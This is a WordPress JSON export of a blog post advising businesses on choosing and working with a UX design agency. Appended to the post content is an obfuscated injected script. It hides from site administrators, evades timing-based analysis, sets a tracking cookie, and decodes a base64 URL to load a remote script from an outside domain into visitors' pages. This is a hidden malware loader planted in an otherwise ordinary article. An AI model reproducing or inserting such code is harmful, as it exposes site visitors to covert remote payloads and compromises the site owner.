{"id":825,"date":"2018-08-09T11:56:00","date_gmt":"2018-08-09T11:56:00","guid":{"rendered":"https:\/\/f1studioz.com\/blog\/?p=825"},"modified":"2026-03-03T10:48:41","modified_gmt":"2026-03-03T10:48:41","slug":"things-to-keep-in-mind-while-hiring-a-ux-design-agency","status":"publish","type":"post","link":"https:\/\/f1studioz.com\/blog\/things-to-keep-in-mind-while-hiring-a-ux-design-agency\/","title":{"rendered":"Things to keep in mind while hiring a UX Design Agency"},"content":{"rendered":"\n<div class=\"wp-block-image\"><figure class=\"aligncenter\"><img decoding=\"async\" src=\"https:\/\/miro.medium.com\/max\/1400\/1*cuAKlzmqPy76SqMWzi_1IQ.jpeg\" alt=\"\"\/><figcaption>Teaming for a Mission<\/figcaption><\/figure><\/div>\n\n\n\n<p id=\"f73f\">So, you have decided to hire an agency to help you with one of the most important part of your Product business \u2014 the UX. We can understand the nervousness you must be going through, if this is your first time.<\/p>\n\n\n\n<p id=\"14b0\">Now is the big question of how to go about finding the right UX Agency \u2014 Your product partner?<\/p>\n\n\n\n<p id=\"1981\">And this one decision if gone wrong, could set your product roadmap back by a few months. Money is still the secondary concern. For a Product, time to market is most important. However, if done right \u2014 You can have a long term partner that can be your ally in your long strenuous Product journey. Someone else, who would start caring about your Product and it\u2019s success as much as you do!<\/p>\n\n\n\n<p id=\"9fbc\">Be ready to invest your time in finding the right one.<\/p>\n\n\n\n<p id=\"6bad\"><strong>Here are some of the most important parts to this puzzle:<\/strong><\/p>\n\n\n\n<div style=\"height:10px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"7b3f\"><strong>FINDING THE RIGHT AGENCY<\/strong><\/h2>\n\n\n\n<p id=\"388b\"><strong>REFERENCES:&nbsp;<\/strong>Best way is to ask for references from your known network about any agencies that they would recommend. And then do some research on your own.<\/p>\n\n\n\n<p id=\"9c4c\"><strong>PORTFOLIO:<\/strong>&nbsp;Check the work of the agency. Ask them to narrate the story of the work that you liked from their portfolio. More than the pretty looking screens, you shall be interested in what business problems is the product solving and how did the UX agency help in that.<\/p>\n\n\n\n<p id=\"c383\">Every agency that has been around for 4\u20135 years must have couple of good looking screens to share. Go beyond that. Ask them some of the recent work that they have done or better still what they are working on right now \u2014 If an agency keeps basking on past laurels and doesn\u2019t talk about anything recent, you know what to do.<\/p>\n\n\n\n<p id=\"0227\"><strong>PASSION FOR PRODUCT<\/strong>: Look out for the passion for the product in the agency \u2014 Do they take pride in their customers business even after the contract \/ project is over. How much do they still know about the journey of the product after their part was done?<\/p>\n\n\n\n<p id=\"8f34\"><strong>PROCESS:<\/strong>&nbsp;What\u2019s the guarantee that the success that the agency\u2019s other customers have seen, would be seen with you too? The answer lies in their People and Processes.<\/p>\n\n\n\n<p id=\"81b8\"><strong>WATCH OUT FOR:<\/strong>&nbsp;Look out for the arrogance in the first call with the agency. Most of the agencies and senior designers start faltering here. There is difference between confidence and arrogance. Nobody likes to work with brilliant jerks.<\/p>\n\n\n\n<div style=\"height:10px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"8629\"><strong>WHERE TO START<\/strong><\/h2>\n\n\n\n<p id=\"3241\">Once you have decided on whom to start with, you shall start small and test the waters before signing some long term contracts with the agency.<\/p>\n\n\n\n<p id=\"b4cb\">Probable models of engagement while you are testing the agency are:<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>Identification of issues (Heuristic Analysis) in your existing App \u2014 Most of the times, there is an existing product. You would want the agency to review your existing product and see if they, at least see the same problems as you do. And then beyond\u2026<\/li><\/ul>\n\n\n\n<ul class=\"wp-block-list\"><li>Start with a small module of the product. Typically pick a moderate problem \u2014 an independent module within your product to start with. Giving the most complex problem as the first step isn\u2019t the thing to do. You are setting yourself for failure if you do that. You want to warm the agency up with your Product \/ Domain and then introduce your most complex problem to them. Otherwise you are just setting yourself and the Agency for disappointment.<\/li><\/ul>\n\n\n\n<h2 class=\"wp-block-heading\" id=\"cb22\"><strong>DURING THE ENGAGEMENT<\/strong><\/h2>\n\n\n\n<p id=\"f7a3\">Here\u2019s a secret \u2014 The best work is done for the customers who follow up. Easiest way is to keep a Reminder to check with your agency on a regular interval.<\/p>\n\n\n\n<p id=\"84a6\">Be prepared to do your homework. Better prepared you are, easier for the agency and lesser time and cost to you.<\/p>\n\n\n\n<p id=\"caad\">Once you have hired the UX agency doesn\u2019t mean that you have outsourced your Product Pain. Make the Product decisions yourself, don\u2019t leave them to the UX agency. Use their inputs but don\u2019t hold them responsible for Product Strategy.<\/p>\n\n\n\n<div style=\"height:10px\" aria-hidden=\"true\" class=\"wp-block-spacer\"><\/div>\n\n\n\n<p id=\"6cf1\">Finally, we wish you all the best in your UX Agency hiring journey and finding a great Product Partner.<\/p>\n\n\n\n<p id=\"e668\">Still looking\u2026 Check our&nbsp;<a href=\"https:\/\/f1studioz.com\/stories.html\" rel=\"noreferrer noopener\" target=\"_blank\">Portfolio<\/a><\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>So, you have decided to hire an agency to help you with one of the most important part of your Product business \u2014 the UX. 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